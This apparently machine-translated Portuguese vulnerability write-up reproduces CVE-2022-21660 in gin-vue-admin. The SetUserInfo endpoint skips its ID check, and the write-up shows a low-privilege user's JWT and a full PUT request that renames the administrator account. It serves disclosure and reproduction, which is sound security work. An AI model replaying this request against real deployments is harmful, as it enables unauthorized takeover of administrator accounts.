
CVE-2022-21660
Bem-vindos, mestres, a dar uma estrela neste projeto.```http https://github.com/flipped-aurora/gin-vue-admin/

Depois de terminar o artigo, solicitar o CVE foi um pouco complicado, mas felizmente conseguimos, e os funcionários do GitHub responderam rapidamente.
> ps: Antes de solicitar o CVE, já havia submetido o CNVD

### 二、Configuração do ambiente
Siga o tutorial oficial```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Em seguida, entre no diretório server.```bash go generate
```bash
go build -o server main.go
Em seguida, execute diretamente o servidor

Em seguida, para a WEB, entre no diretório web e digite```bash cnpm install || npm install
Depois, basta aguardar

Após a conclusão da instalação, a página web será aberta automaticamente


Em seguida, inicialize e configure as informações do banco de dados

Após configurar, clique em inicializar e faça o login

### 3. Reprodução da Vulnerabilidade
### SetUserInfo possui escalonamento vertical de privilégios
##### 1. A interface SetUserInfo permite configurar informações pessoais do usuário com privilégios elevados
Vamos diretamente para a página de gerenciamento de usuários e adicionar uma função de usuário com baixos privilégios

Pode-se observar que acima não foram concedidas permissões de administrador. Em seguida, crie uma nova conta e atribua-a a este grupo de funções


A vulnerabilidade ocorre na linha 273 do arquivo https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Aqui, o ID passado não é verificado. Como o ID representa o usuário, basta passar o ID especificado para modificar as informações pessoais do usuário correspondente.

Primeiro, usamos o X-token do administrador para testar a alteração do nome do usuário com ID 1 para 'test1'. Em seguida, podemos ver no backend que o ID do administrador foi alterado para 'test1'.

A seguir, usamos o token da conta recém-criada UzJu_HxSecTeam para substituir e alterar o nome de usuário do administrador para 'test2'.
Primeiro, na conta UzJu_HxSecTeam, vamos em Informações Pessoais > Alterar Senha, alteramos a senha aleatoriamente e obtemos o token da conta.

Este token é de uma função de baixa permissão. Normalmente, usuários com baixas permissões não podem modificar nenhuma informação do administrador.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Substituímos o Token, construindo os seguintes dados JSON.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Substituímos o Token na interface setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Em seguida, somos informados de que a configuração foi bem-sucedida

Em seguida, alternamos para a conta de administrador para verificar se foi alterada para test2